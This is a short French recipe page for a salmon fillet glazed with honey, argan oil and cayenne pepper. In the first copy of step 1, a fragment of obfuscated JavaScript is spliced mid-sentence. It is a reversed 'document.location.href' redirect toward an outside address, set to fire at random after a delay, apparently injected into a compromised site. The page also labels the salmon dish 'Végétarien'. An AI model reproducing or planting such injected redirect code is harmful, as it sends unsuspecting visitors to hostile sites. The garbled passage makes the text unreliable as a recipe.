Pavé de saumon au miel et au piment

2017-12-20

Cuisine : Pavés, Poissons
Thématique : Végétarien
Niveau : Facile

Rincez, séchez le pavé de saumon. Dans une poêle avec 2 cuillères à soupe l’huile d’argan avec le miel, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant jusqu’à ce que le miel soit liquide. Ajoutez le piment de Cayenne, que vous faites chauffer sur feu moyen pendant 2 minutes.

Ingrédients

Pour 1 personne
1 pavé de saumon
1 cuillère à soupe de miel
1 cuillère à café en poudre de piment de Cayenne
1 cuillère à café d'huile d'argan
Sel - Poivre du moulin

Préparation de la recette

Etape 1

Rincez, séchez le pavé de saumon. Dans une poêle avec 2 cuillères à soupe l'huile d'argan avec le miel, tout en remuant jusqu'à ce que le miel soit liquide. Ajoutez le piment de Cayenne, que vous faites chauffer sur feu moyen pendant 2 minutes.

Etape 2

Activez le feu, déposez le pavé de saumon côté peau et faites cuire pendant 5 minutes. Retournez le pavé et faites le cuire encore 3 minutes. Vérifiez la cuisson du pavé, dégustez avec du riz nature où des pommes vapeur.